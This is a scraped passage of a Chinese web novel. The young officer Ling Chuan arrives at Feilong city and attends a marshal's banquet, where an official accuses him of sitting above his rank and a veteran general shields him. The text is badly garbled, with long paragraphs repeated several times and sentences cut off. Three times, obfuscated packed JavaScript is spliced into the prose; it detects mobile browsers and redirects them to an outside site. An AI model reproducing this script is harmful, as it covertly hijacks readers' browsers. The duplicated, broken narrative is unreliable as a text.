江来点了点头,说道:“其他人确实是驻在着漠北大营,但卢帅钦点了一些将领,直接到城中,今晚卢帅亲自设宴为你们接风!” 紧接着,江来更是凑到他耳边,小声说道:“我从小道消息得知,兄弟你可是这场宴会的主角,看来,等朝廷的封赏诏一到,你就得换上狻猊吞海锁子甲了!” 很快,手下人便牵出江来的坐骑交到他手中。 “时间不早了,咱们走吧!”江来翻身上马,与凌川并肩而驰。 “凌兄弟,你快给我讲讲,你是如何用一千五百人,先后干掉数万敌军的?”将来兴致勃勃地问道。 尽管这段时间,他已经听说了很多关于凌川和云岚军的信息,但见到主人公,还是想听他亲口说一遍,这样,自己以后跟其他人侃大山的时候,也是一笔谈资。 凌川笑了笑,说道:“我不过是运气好点而已,远没有外界传得那么神乎其神!” 随后,凌川便简明扼要地将几场战斗的经历叙述了一遍,江来一脸嫌弃地看着他,说道:“兄弟,你这讲故事的口才真得练练,如此惊心动魄的大战,从你嘴里说出来,就跟水煮萝卜没放盐一样!” 漠北大营到飞龙城不过七八里路程,谈笑间便已到了飞龙城南门。 江来与守城士兵相熟,但还是出示了自己的校尉腰牌,随后守城士兵便直接放行。 看着五十余骑进城,一众守城士兵的眼神中满是艳羡之色。 “那就是凌川吗?也太年轻了!” “你们看,云岚军的铠甲也太精致了,无论是材质、做工还是整体造型,都丝毫不亚于将军甲!” “我要是能有这样一身甲胄,睡觉我都穿着!” “做梦吧你!” 入城之后,江来直接把凌川一行带到了节度府不远处的一家名为庆丰楼的酒楼入住。 刚到门口,掌柜便带着一帮伙计迎了上来,帮忙牵马。 “赶紧的,把军爷们的马牵到后院马厩,用最好的精料伺候着!”掌柜对一众伙计大喊道。 凌川连忙阻止道:“掌柜的,你让人带个路就行,咱们自己把马牵过去!” 掌柜一脸笑容,说道:“都尉大人,这都是咱们该做的,屋里各个房间都准备好了热水,让大家进去洗个澡吧,饭菜正在准备中,很快就好!” “这里已经被包下了,近几日不会接待其他人,你们安心入住就行!”江来对凌川说道。 “这是卢帅的意思?”凌川好奇地问道。 江来嘿嘿笑道:“是不是卢帅的意思我不知道,不过肯定是上面的意思,我只是依令行事!” 庆丰楼是一座三层楼的酒楼,一层二层都是酒楼,三层是客房,此外后面还有两栋楼,也都是客房,可容纳一百余人入住。 住入庆丰楼之后,凌川也舒舒服服洗了个澡,虽然停战已经半个多月,但武定关军营条件有限,加之兵力骤增,导致用水紧张,很多人许久都没洗过澡了。 很多士兵泡到水里,直接舒服得叫出声来,更有甚者,直接泡在木桶里睡着了。 凌川还在洗澡,掌柜便让人将一套崭新的常服送到他房间,虽用料算不上顶级,但却十分合身,这段时间,大多数时候都身着铠甲,换上常服之后,凌川只感觉一身轻松。 而且,凌川发现,这竟然是一套六品都尉的常服,要知道此前他虽被钦点为都尉,统领武定关一万兵马,但那不过是临时命令,并非真正意义提升他为都尉。 可现在,却让人送来一套都尉常服,这背后的意义就不一样了。 前那名传信兵交代,各州撤军不都是统一驻进漠北大营吗?为何会忽然换地方? 江来点了点头,说道:“其他人确实是驻在着漠北大营,但卢帅钦点了一些将领,直接到城中,今晚卢帅亲自设宴为你们接风!” 紧接着,江来更是凑到他耳边,小声说道:“我从小道消息得知,兄弟你可是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045940|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场宴会的主角,看来,等朝廷的封赏诏一到,你就得换上狻猊吞海锁子甲了!” 很快,手下人便牵出江来的坐骑交到他手中。 “时间不早了,咱们走吧!”江来翻身上马,与凌川并肩而驰。 “凌兄弟,你快给我讲讲,你是如何用一千五百人,先后干掉数万敌军的?”将来兴致勃勃地问道。 尽管这段时间,他已经听说了很多关于凌川和云岚军的信息,但见到主人公,还是想听他亲口说一遍,这样,自己以后跟其他人侃大山的时候,也是一笔谈资。 凌川笑了笑,说道:“我不过是运气好点而已,远没有外界传得那么神乎其神!” 随后,凌川便简明扼要地将几场战斗的经历叙述了一遍,江来一脸嫌弃地看着他,说道:“兄弟,你这讲故事的口才真得练练,如此惊心动魄的大战,从你嘴里说出来,就跟水煮萝卜没放盐一样!” 漠北大营到飞龙城不过七八里路程,谈笑间便已到了飞龙城南门。 江来与守城士兵相熟,但还是出示了自己的校尉腰牌,随后守城士兵便直接放行。 看着五十余骑进城,一众守城士兵的眼神中满是艳羡之色。 “那就是凌川吗?也太年轻了!” “你们看,云岚军的铠甲也太精致了,无论是材质、做工还是整体造型,都丝毫不亚于将军甲!” “我要是能有这样一身甲胄,睡觉我都穿着!” “做梦吧你!” 入城之后,江来直接把凌川一行带到了节度府不远处的一家名为庆丰楼的酒楼入住。 刚到门口,掌柜便带着一帮伙计迎了上来,帮忙牵马。 “赶紧的,把军爷们的马牵到后院马厩,用最好的精料伺候着!”掌柜对一众伙计大喊道。 凌川连忙阻止道:“掌柜的,你让人带个路就行,咱们自己把马牵过去!” 掌柜一脸笑容,说道:“都尉大人,这都是咱们该做的,屋里各个房间都准备好了热水,让大家进去洗个澡吧,饭菜正在准备中,很快就好!” “这里已经被包下了,近几日不会接待其他人,你们安心入住就行!”江来对凌川说道。 “这是卢帅的意思?”凌川好奇地问道。 江来嘿嘿笑道:“是不是卢帅的意思我不知道,不过肯定是上面的意思,我只是依令行事!” 庆丰楼是一座三层楼的酒楼,一层二层都是酒楼,三层是客房,此外后面还有两栋楼,也都是客房,可容纳一百余人入住。 住入庆丰楼之后,凌川也舒舒服服洗了个澡,虽然停战已经半个多月,但武定关军营条件有限,加之兵力骤增,导致用水紧张,很多人许久都没洗过澡了。 很多士兵泡到水里,直接舒服得叫出声来,更有甚者,直接泡在木桶里睡着了。 凌川还在洗澡,掌柜便让人将一套崭新的常服送到他房间,虽用料算不上顶级,但却十分合身,这段时间,大多数时候都身着铠甲,换上常服之后,凌川只感觉一身轻松。 而且,凌川发现,这竟然是一套六品都尉的常服,要知道此前他虽被钦点为都尉,统领武定关一万兵马,但那不过是临时命令,并非真正意义提升他为都尉。 可现在,却让人送来一套都尉常服,这背后的意义就不一样了。 前那名传信兵交代,各州撤军不都是统一驻进漠北大营吗?为何会忽然换地方? 江来点了点头,说道:“其他人确实是驻在着漠北大营,但卢帅钦点了一些将领,直接到城中,今晚卢帅亲自设宴为你们接风!” 紧接着,江来更是凑到他耳边,小声说道:“我从小道消息得知,兄弟你可是这场宴会的主角,看来,等朝廷的封赏诏一到,你就得换上狻猊吞海锁子甲了!” 很快,手下人便牵出江来的坐骑交到他手中。 “时间不早了,咱们走吧!”江来翻身上马,与凌川并肩而驰。 “凌兄弟,你快给我讲讲,你是如何用一千五百人,先后干掉数万敌军的?”将来兴致勃勃地问道。 尽管这段时间,他已经听说了很多关于凌川和云岚军的信息,但见到主人公,还是想听他亲口说一遍,这样,自己以后跟其他人侃大山的时候,也是一笔谈资。 凌川笑了笑,说道:“我不过是运气好点而已,远没有外界传得那么神乎其神!” 随后,凌川便简明扼要地将几场战斗的经历叙述了一遍,江来一脸嫌弃地看着他,说道:“兄弟,你这讲故事的口才真得练练,如此惊心动魄的大战,从你嘴里说出来,就跟水煮萝卜没放盐一样!” 漠北大营到飞龙城不过七八里路程,谈笑间便已到了飞龙城南门。 江来与守城士兵相熟,但还是出示了自己的校尉腰牌,随后守城士兵便直接放行。 看着五十余骑进城,一众守城士兵的眼神中满是艳羡之色。 “那就是凌川吗?也太年轻了!” “你们看,云岚军的铠甲也太精致了,无论是材质、做工还是整体造型,都丝毫不亚于将军甲!” “我要是能有这样一身甲胄,睡觉我都穿着!” “做梦吧你!” 入城之后,江来直接把凌川一行带到了节度府不远处的一家名为庆丰楼的酒楼入住。 刚到门口,掌柜便带着一帮伙计迎了上来,帮忙牵马。 “赶紧的,把军爷们的马牵到后院马厩,用最好的精料伺候着!”掌柜对一众伙计大喊道。 凌川连忙阻止道:“掌柜的,你让人带个路就行,咱们自己把马牵过去!” 掌柜一脸笑容,说道:“都尉大人,这都是咱们该做的,屋里各个房间都准备好了热水,让大家进去洗个澡吧,饭菜正在准备中,很快就好!” “这里已经被包下了,近几日不会接待其他人,你们安心入住就行!”江来对凌川说道。 “这是卢帅的意思?”凌川好奇地问道。 江来嘿嘿笑道:“是不是卢帅的意思我不知道,不过肯定是上面的意思,我只是依令行事!” 庆丰楼是一座三层楼的酒楼,一层二层都是酒楼,三层是客房,此外后面还有两栋楼,也都是客房,可容纳一百余人入住。 住入庆丰楼之后,凌川也舒舒服服洗了个澡,虽然停战已经半个多月,但武定关军营条件有限,加之兵力骤增,导致用水紧张,很多人许久都没洗过澡了。 很多士兵泡到水里,直接舒服得叫出声来,更有甚者,直接泡在木桶里睡着了。 凌川还在洗澡,掌柜便让人将一套崭新的常服送到他房间,虽用料算不上顶级,但却十分合身,这段时间,大多数时候都身着铠甲,换上常服之后,凌川只感觉一身轻松。 而且,凌川发现,这竟然是一套六品都尉的常服,要知道此前他虽被钦点为都尉,统领武定关一万兵马,但那不过是临时命令,并非真正意义提升他为都尉。 可现在,却让人送来一套都尉常服,这背后的意义就不一样了。 前那名传信兵交代,各州撤军不都是统一驻进漠北大营吗?为何会忽然换地方? 江来点了点头,说道:“其他人确实是驻在着漠北大营,但卢帅钦点了一些将领,直接到城中,今晚卢帅亲自设宴为你们接风!” 紧接着,江来更是凑到他耳边,小声说道:“我从小道消息得知,兄弟你可是这场宴会的主角,看来,等朝廷的封赏诏一到,你就得换上狻猊吞海锁子甲了!” 很快,手下人便牵出江来的坐骑交到他手中。 “时间不早了,咱们走吧!”江来翻身上马,与凌川并肩而驰。 “凌兄弟,你快给我讲讲,你是如何用一千五百人,先后干掉数万敌军的?”将来兴致勃勃地问道。 尽管这段时间,他已经听说了很多关于凌川和云岚军的信息,但见到主人公,还是想听他亲口说一遍,这样,自己以后跟其他人侃大山的时候,也是一笔谈资。 凌川笑了笑,说道:“我不过是运气好点而已,远没有外界传得那么神乎其神!” 随后,凌川便简明扼要地将几场战斗的经历叙述了一遍,江来一脸嫌弃地看着他,说道:“兄弟,你这讲故事的口才真得练练,如此惊心动魄的大战,从你嘴里说出来,就跟水煮萝卜没放盐一样!” 漠北大营到飞龙城不过七八里路程,谈笑间便已到了飞龙城南门。 江来与守城士兵相熟,但还是出示了自己的校尉腰牌,随后守城士兵便直接放行。 看着五十余骑进城,一众守城士兵的眼神中满是艳羡之色。 “那就是凌川吗?也太年轻了!” “你们看,云岚军的铠甲也太精致了,无论是材质、做工还是整体造型,都丝毫不亚于将军甲!” “我要是能有这样一身甲胄,睡觉我都穿着!” “做梦吧你!” 入城之后,江来直接把凌川一行带到了节度府不远处的一家名为庆丰楼的酒楼入住。 刚到门口,掌柜便带着一帮伙计迎了上来,帮忙牵马。 “赶紧的,把军爷们的马牵到后院马厩,用最好的精料伺候着!”掌柜对一众伙计大喊道。 凌川连忙阻止道:“掌柜的,你让人带个路就行,咱们自己把马牵过去!” 掌柜一脸笑容,说道:“都尉大人,这都是咱们该做的,屋里各个房间都准备好了热水,让大家进去洗个澡吧,饭菜正在准备中,很快就好!” “这里已经被包下了,近几日不会接待其他人,你们安心入住就行!”江来对凌川说道。 “这是卢帅的意思?”凌川好奇地问道。 江来嘿嘿笑道:“是不是卢帅的意思我不知道,不过肯定是上面的意思,我只是依令行事!” 庆丰楼是一座三层楼的酒楼,一层二层都是酒楼,三层是客房,此外后面还有两栋楼,也都是客房,可容纳一百余人入住。 住入庆丰楼之后,凌川也舒舒服服洗了个澡,虽然停战已经半个多月,但武定关军营条件有限,加之兵力骤增,导致用水紧张,很多人许久都没洗过澡了。 很多士兵泡到水里,直接舒服得叫出声来,更有甚者,直接泡在木桶里睡着了。 凌川还在洗澡,掌柜便让人将一套崭新的常服送到他房间,虽用料算不上顶级,但却十分合身,这段时间,大多数时候都身着铠甲,换上常服之后,凌川只感觉一身轻松。 而且,凌川发现,这竟然是一套六品都尉的常服,要知道此前他虽被钦点为都尉,统领武定关一万兵马,但那不过是临时命令,并非真正意义提升他为都尉。 可现在,却让人送来一套都尉常服,这背后的意义就不一样了。 第184章 赴宴! 刚下楼,发现江来已经在大堂中等候。 “兄弟,你穿上这身衣服,简直就跟说书先生口中的公子哥一样,那句话怎么说来的……对,那叫面如冠玉、润秀天成,哈哈哈……”江来起身便是一通夸赞。 “哥,你再夸下去,我可就当真了啊!”凌川笑道。 “时间差不多了,走吧!” 江来是专程来带凌川去赴宴的,此地距离节度府不远,索性就步行前往。 “今日卢帅宴请的,除了北系军中重要将领之外,七州重要文官也都会到场!” 江来满脸羡慕,继续说道:“今日赴宴的人当中,属兄弟你最年轻,以后的成就不可限量啊,到时候,可别忘了哥哥我呀!” “哈哈,借你吉言,我要是飞黄腾达了,我一定在明月楼给你包场!”凌川笑道。 “别,哥哥我身体吃不消!” 谈笑间,二人便到了节度府门口,看着那道巍峨大门,凌川不由得想起上次,自己在门外的风雪中苦等了两个时辰。 “兄弟,我就送你到这儿了!” 凌川对将来抱拳说道:“有劳了!” 进入节度府之中,立马便有士兵前来为凌川带路,不过,并不是从大门进入,而是自侧门进入偏殿之中。 刚进入,凌川便看到不少人已经到场,不过,这些人凌川并不认识,见大家聊得正欢,凌川也不好打扰。 正当他犹豫要不要等会再进去的时候,其中一名虎背熊腰、满脸横肉的汉子发现了他。 “凌兄弟,你可算来了,大家都等你半天了!” 那壮汉起身径直朝着凌川走来,尽管凌川不认识对方,但还是客气迎了上去。 那壮汉满脸络腮胡,一看就是豪爽之人,他走上前来一只手搭在凌川的肩膀上,拉着他走向席间。 “还未请教将军名讳!”凌川一脸茫然,主动询问道。 粗犷男子一拍脑门,恍然道:“你瞧我这记性,我是张嶷岳,之前多亏凌兄弟派人到玉门关报信,否则我怕是成千古罪人了!” 凌川没想到他就是张嶷岳,连忙抱拳行礼。 “见过张将军!”凌川主动行礼。 张嶷岳拍了拍他的肩膀,说道:“咱们之间没那些虚礼,快坐吧!” 凌川屁股刚落座,张嶷岳便给他倒了一大碗酒,紧接着端起酒碗,说道:“兄弟,这碗酒我敬你,我与玉门关全体士卒,将铭记你的大恩!” “将军客气了!”凌川与之对碰一下,随即一 饮而尽。 “兄弟海量,哈哈哈……”张嶷岳大笑道,紧接着指向左手边那名男子说道:“这位你或许不认识,但你们这次可是搭档,他便是虎贲骑主将,薛将军!” 凌川神色微变,连忙行礼道:“久仰薛将军大名,今日得见将军虎威,真是三生有幸!” 薛镇锷年纪跟张嶷岳差不多,都在四十岁左右,看上去十分冷漠,不苟言笑,特别是左眼上一道伤疤,将眉毛切割成两段,平添了几分杀气。 然而,听到凌川这番话,薛镇锷却是面露笑意,说道:“好小子,这次你可是帮了我老薛的大忙了,要不是你在先后在曳敕滩和武定关大捷,打开了慕容陲的后院,这次朝天垭外必是一场鏖战!” 薛镇锷端起酒碗,说道:“这碗酒,就当是我的谢礼了!” 凌川岂敢托大,连忙倒了一碗酒与之碰在一起。 “老薛,人家凌兄弟从朔州奔袭数百里去帮你解围,你一碗酒就完了?”旁边一名体型精瘦,皮肤黝黑,双目狭长如鹰隼的男子打趣道。 薛镇锷哈哈大笑,“你这么多年,就属这句话说得在理,我老薛今儿个把话撂这儿,以后杨兄弟的事儿就是我薛镇锷的事儿!” 那黝黑男子也倒了一碗酒,主动站起身来,说道:“我杨烬旗很少有佩服的人,你算一个!” 凌川笑着举起酒碗说道:“早就听闻杨将军当年千骑破阵的壮举了,往后小子得多向你请教!” 杨烬旗连忙伸手打断,说道:“还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053609|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算了,我那点战功就不拿到你面前来自取其辱了!” 紧接着,杨烬旗看向凌川,问道:“要不,你来咱龙夔骑,我把副将位置给你!” 此言一出,现场几人顿时目光一凝,虽然杨烬旗平时喜欢开玩笑,但大家都能感觉到,这一次杨烬旗是认真的。 “凭什么来你龙夔骑?要来也是来虎贲骑!”薛镇锷立马开始抢人。 众所周知,龙夔骑与虎贲骑是北系军中的两大王牌,但,这两支军团一直在暗中较劲,谁也不服谁,都想压对方一头。 不光是杨烬旗与薛镇锷这两位主将不对付,下面的都尉、校尉乃至普通士兵,也都是见面就掐,这在北系军高层中并非是什么秘密,大家对此也是**以为常。 凌川也没想到,自己会成二人‘开掐’的**,一时间有些不知所措。 就在此时,一名须发皆白、却脊背笔直的老者迈步而入,他手持一根旱烟杆,龙行虎步间,尽显大将风采。 “臭小子,现在翅膀硬了是吧?连我的人也敢挖!” 听闻此言,杨烬旗与薛镇锷二人顿时哑火,连忙正身行礼。 “老伍长!”二人恭恭敬敬地站在那里,像是做错事的孩子一样。 老者身后跟着四五名将领,其中有一人是凌川熟悉的面孔,云州副将,催行俭。 白发老者走上前来,用手中烟斗对着两人的脑门敲了几下,“还记得我这个老家伙,不错嘛!” 场中,张嶷岳与其他几人也都起身见礼:“见过陆老将军!” 听到这里,凌川已经猜到来人的身份,正是云州主将,他的顶头上司。 “属下云岚校尉凌川,见过陆老将军!”凌川也恭敬行礼。 陆老将军看着他,点头道:“后生可畏!” 紧接着,又将目光看向杨烬旗与薛镇锷二人,用一种恨铁不成钢的语气说道:“看看你们两个,执掌南系军的两支王牌军团,立了屁大点战功就把尾巴翘上天了,成天只知道窝里横,有本事打胡羯人去啊!” 第185章 玄影骑! 这两位名震北疆的悍将手执北系军两大王牌军团可以说放眼整个北系军那也是除了卢帅之外地位最高的几位将领了。 然而在这名年逾花甲的老者面前却像是乖娃娃一般站在那里被烟斗敲脑袋都不敢躲一下。 只有入北系军较早的一些将领知道这位陆老将军在北系军中是一个什么样的存在。 虽然他现在只是云州主将但论及在北系军中的威望他是唯一一个能与卢帅比肩的存在。 三十年前他从一个小小伍长一路靠战功杀到正三品将军的位置。 像薛镇锷、杨烬旗这种威震北疆的悍将曾经都是他手底下的兵这也是为何这两位威名在外的北系军栋梁在见到这位老将之时表现得如此乖巧的原因。 有传言称当初北系军换帅之时陆含章本该是第一人选但他却主动让权将主帅之位让给了卢恽筹而他自己却以年纪大为由拒绝封帅担任云州主将这些年也大多将事务交给催行俭这位云州副将自己当起了甩手掌柜。 也正是因为这层关系哪怕是主帅卢恽筹见了他也要礼让三分。 传闻神都已经两次请他进入兵部都被老爷子给拒绝了显然这位戎马半生的老将军习惯了关外的风雪并不喜欢官场上的尔虞我诈。 只是谁也没想到今日这位老将军竟然会亲临宴会。 陆老将军径直来到主位跟前这里摆放着两把椅子催行俭将左边那把椅子拉开示意陆老将军入座。 后者稳稳坐下这才开口道:“都别站着了坐吧!” 众人如释重负特别是薛镇锷与杨烬旗二人不自觉地长舒了一口气纷纷落座不过只是用屁股挨着椅子边缘显得很是拘谨。 老人则是自顾自地掏出烟袋将烟叶装到烟锅之中催行俭熟练地掏出火折子为其点烟。 如果说陆含章、卢恽筹以及韩青池等人是如今北系军中的老一代那么杨烬旗、薛镇锷、张嶷岳等一大批将领便是北系军的成熟稳重的中年一代而催行俭、宋景、陈暻垚以及凌川便是充满生机的年轻一代。 同样陆含章手底下的兵如今手握大权的除了薛镇锷与杨烬旗这两位之外年轻一辈中还有催行俭之流。 当然最耀眼的还得数北疆另一位重量级人物陆沉锋! 如果说杨烬旗的龙夔骑和薛镇锷的虎贲骑是北系军的两架战车 玄影骑同样是一支万人军团,不过与龙夔骑和虎贲骑不同的是,玄影骑乃是一支轻骑军,平时基本不现身,除了主帅之外,没有人知道他们的具体位置。 这一次,蓟州失守当日,世人只知姚钦延组织蓟州军赶赴边关御敌,却不知道,有一支万人轻骑先一步赶赴蓟州边关,那便是陆沉锋率领的玄影骑。 只不过,玄影骑赶到的时候,三部联军已经先一步撤离。 杨烬旗、薛镇锷、催行俭皆是难得的将才,而且,各具特点。 但,陆沉锋却是集兵家之大成,他身上具有所有将帅所需的品质,处事沉稳,有勇有谋。 虽然卢帅不过知命之年,且老当益壮,但所有人心中都明白,将来的北系军注定要交到陆沉锋的手中。 不仅是因为他出众的个人能力,更因为他是陆老将军的儿子,也是陆老将军和卢帅倾尽毕生之力为北系军培养出来的下一代主帅。 若干年后,也只有他执掌北系军,才能镇得住那些战功赫赫、桀骜不驯之辈。 陆老将军使劲吧嗒了两口旱烟,袅袅厌恶升腾而起。 “biu……” 只见他熟练地飚出一口口水。 放眼整个北系军,敢这么肆无忌惮的,估计也就只有他一人了,现场一众将领对此早已是见怪不怪。 就在这时,他将目光看向凌川,说道:“好小子,你可算是给我云州军长脸了!” 凌川不敢托大,连忙站起身来,行礼道:“老将军过誉了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053610|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚辈……” 不等凌川说完,陆含章烟杆在桌上重重一磕,不耐烦地说道:“行啦,乖巧的场面话就别来了,你小子以一千五百云岚军,几场交锋干掉胡羯几万大军,哪怕是老头子我都是闻所未闻!” “吧嗒吧嗒……” 陆老将军使劲吧嗒垃圾口旱烟,继续说道:“战功是你一刀刀杀出来的,又不是偷来的,有什么不好承认?更何况,年轻人嘛,得了志张狂一些也无妨!” 他瞟了一眼坐在不远处的薛镇锷和杨烬旗二人一眼,说道:“可别学某些人,本事没多少,脾气一大堆!” 薛**人明知他是在说自己,却一声不敢吭,只能埋着头。 随着陆老将军的到来,现场的气氛也不像之前那般轻松,也没有人敢端碗喝酒,只能就这么干坐着,场中不时响起吧嗒嘴的声音。 就在这时,朔州主将韩青池与宋景二人一起到来,不多时,陈暻垚等一众年轻将领也都到场。 陈暻垚对着凌川点了点头,随后找了一个靠后的位置坐下。 凌川这才注意到,自己这个位置距离主位很近,而能够坐在这里的,最差也是正四品将军,一时间让他显得有些局促不安。 就在这时,一群身着文官服饰的身影结伴而来,他们大多是节度府的参军谋士,也有一些是北境七州的文官。 领头的自然是总参军章绩,叶世珍等一众参军谋士都紧跟在他身后,而另一排,领头之人则是陵州刺史沈文澹,朔州刺史王淙以及凉州刺史温彦和等文官。 至此,除了陆含章右边那个主位空悬之外,其他位置都已是座无虚席。 毫无例外的是,无论文官武将,到场之后,都会率先向陆老将军行礼问好,这不仅仅是地位,更是威望的体现。 当然,一些许久不见的将领也趁机叙旧,毕竟很多都曾是生死与共的过命兄弟,如今虽都在北系军中,但见面的时候并不多。 第186章 规矩! 现场座次自然也是根据品阶而定,品阶越高,也就越靠前,距离主位越近。 凌川满打满算一个都尉,六品官职,却坐在了最靠前的位置,显得有些格格不入。 正当他准备起身,向身边众人告辞的时候,一道阴阳怪气的声音传来。 “哟!这谁啊?这般没规矩,也不看看自己什么身份,竟然坐到这个位置!” 众人抬头望去,只见一名身着暮沙鹰驿服的正五品文官看着凌川,呵斥道。 此人生得獐头鼠目,两撇八字须更是平添了几分猥琐之气,许多人认出,他正是陵州长史余志茂,此人能力一般,但见风使舵、溜须拍马却是一绝。 凌川早就想到过,这场宴会肯定不会顺利,只是没想到,率先对自己发难的,竟是这个八竿子打不着的陵州长史。 凌川不着痕迹地瞥了一眼坐在不远处的章绩,发现他一脸泰然地坐在那里,与凉州刺史温彦和闲聊,对于近在咫尺的情况置若罔闻。 反倒是陵州刺史沈文澹的脸色有些不好看。 凌川并未辩驳,毕竟自己确实是坐错了位置,不管是有心还是无意,事实就摆在眼前。 然而,就在他准备起身的时候,一旁的张嶷岳却一把按住了他的肩膀,眼神中带着几分怒意,看着余志茂说道:“你算个什么东西?我兄弟坐哪儿,需要你来指手画脚?” 面对张嶷岳这位沙场悍将,余志茂的眼神中明显闪过一丝忌惮,不过,他很快便强作镇定,说道:“张将军,我可不是针对谁,但,这毕竟是卢帅设宴,该有的规矩还是得要吧?” 余志茂也非蠢材,知道皆卢帅之势来压张嶷岳,谁知后者却丝毫不买账,而是指着他说道: “我兄弟在关外大破敌军,为帝国立下不世战功,别说是坐这里,就算是坐次席又如何?” 此言一出,凌川暗道不好,张嶷岳或许并不知道这余志茂可不是无缘无故针对自己,他这无心之言,若是被人抓住把柄,自己就麻烦了。 “张将军,你这话怕是不妥吧!”果然,章绩慢悠悠地开口说道。 只见他瞥了凌川一眼,说道:“要说战功,在座的诸位谁没有战功在身?就算是在场的文官,他们虽然不像将士们在战场上冲锋陷阵,难道他们就没有功劳吗?” “粮草、马匹、兵甲这些东西从何而来?每一场战争的背后,都是北境七州全体文武同心僇力的结果,而非某一个人的功劳!” 章绩顿了顿,继续说道:“如果立了点战功便居功自傲 ,便可以不讲规矩,目无法纪,那成何体统?” 章绩这番话,可谓是滴水不漏,先是将所有文官武将绑在一起,然后在将凌川这个不守规矩、居功自傲的人排挤在一边,紧接着,便是一顶目无法纪的大帽子扣下来。 论耍嘴皮子,十个武将绑一块也不是一个文官的对手,张嶷岳呆滞当场哑口无言。 尽管他知道,对方是在偷换概念,但一时间却找不到点来反驳对方。 就在此时,凌川站起身来,开口道:“诸位,是我凌川不懂事,扰了大家的兴致,在此我自罚一碗,就当是赔罪!” 凌川倒了一碗酒,双手举起向众人示意,随即一饮而尽。 然而,余志茂却并不想就此了事,只见他冷哼一声,说道:“区区一碗酒就想了事,你未免太不把在场诸位放在眼里了!” 凌川轻轻放下酒碗,抬起目光直视余志茂,问道:“那余长史想要如何?” 余志茂冷笑道:“你区区一个校尉,本应坐在末席,你却不知廉耻行此僭越之举,念在你有功在身,就不治你的罪了,去门口站着吧!” 余志茂指了指门口的方向,这无疑是要让凌川当众出丑,却浑然没有注意到陆老将军的眼神中闪过一丝冷意。 只见他轻咳一声,随即对余志茂招了招手。 后者见状,立马换上一副谄媚的笑容,小跑来到陆含章跟前,躬身问道:“哟!老将军身体还是这般健朗,您有何吩咐啊?下官乐意效劳!” 对于这种谄媚行径,现场一众武将无不心生鄙夷。 陆含章,淡淡瞥了他一眼,说道:“怎么?你的意思是盼着我身体不好,早点归西吗?” 余志茂脸色剧变,连忙解释道:“老将军明鉴,下官不是这个意思,您可是咱们北系军的主心骨,下官当然是盼您长命百岁啦!” “放肆!”陆含章用烟斗重重磕在桌上,呵斥道:“好你个奸佞小人,众所周知卢帅才是北系军主帅,你却说出如此大逆不道的言论,是想害我陆含章于不忠不义吗?” “噗通……” 余志茂双膝一软,当场被吓得跪倒在地。 他没想到对方忽然翻脸,更是在他的话里挑刺,并大做文章,一时间让他百口莫辩。 对于他而言,下跪这种事情,早已是家常便饭,可得罪陆含章这位北疆第二号人物,那自己的前途也就到头了,甚至于,今日能否安全离开,都得看对方的心情。 不远处,章绩眉头微皱,他显然也没想到陆含章会替凌川解围。 虽说凌川名义上是陆含章的下属,可据他所知此前两人并无交集,章绩唯一能想到的是,凌川这次立了战功,得到这老家伙的青睐。 不过他并未出声,于他而言,余志茂这种狗腿子遍地都是,但,若非万不得已,他也不想得罪陆含章。 只见陆含章居高临下地看着跪在面前余志茂,同时用烟斗指了指凌川,问道:“你可知他是谁?” 余志茂一愣,但还是小声回答道:“云岚校尉,凌川!” 陆含章点了点头,又问:“你可知他是谁的部下?” 余志茂这才恍然大悟,连忙解释道:“是,是老将军部下……下官并非是……” 陆含章伸手打断了他,说道:“你当着我的面,教训我手下的人,这是在打老夫的脸吗?” 听闻此言,余志茂连连摆手,只感觉一股凉意从膝盖直袭脑门,脊背冰凉,浑身哆嗦。 都怪自己急于在章绩面前表现,这才没有深究凌川的背景,要不然,就算是打死他也不敢来当这个出头鸟啊。 ,便可以不讲规矩,目无法纪,那成何体统?” 章绩这番话,可谓是滴水不漏,先是将所有文官武将绑在一起,然后在将凌川这个不守规矩、居功自傲的人排挤在一边,紧接着,便是一顶目无法纪的大帽子扣下来。 论耍嘴皮子,十个武将绑一块也不是一个文官的对手,张嶷岳呆滞当场哑口无言。 尽管他知道,对方是在偷换概念,但一时间却找不到点来反驳对方。 就在此时,凌川站起身来,开口道:“诸位,是我凌川不懂事,扰了大家的兴致,在此我自罚一碗,就当是赔罪!” 凌川倒了一碗酒,双手举起向众人示意,随即一饮而尽。 然而,余志茂却并不想就此了事,只见他冷哼一声,说道:“区区一碗酒就想了事,你未免太不把在场诸位放在眼里了!” 凌川轻轻放下酒碗,抬起目光直视余志茂,问道:“那余长史想要如何?” 余志茂冷笑道:“你区区一个校尉,本应坐在末席,你却不知廉耻行此僭越之举,念在你有功在身,就不治你的罪了,去门口站着吧!” 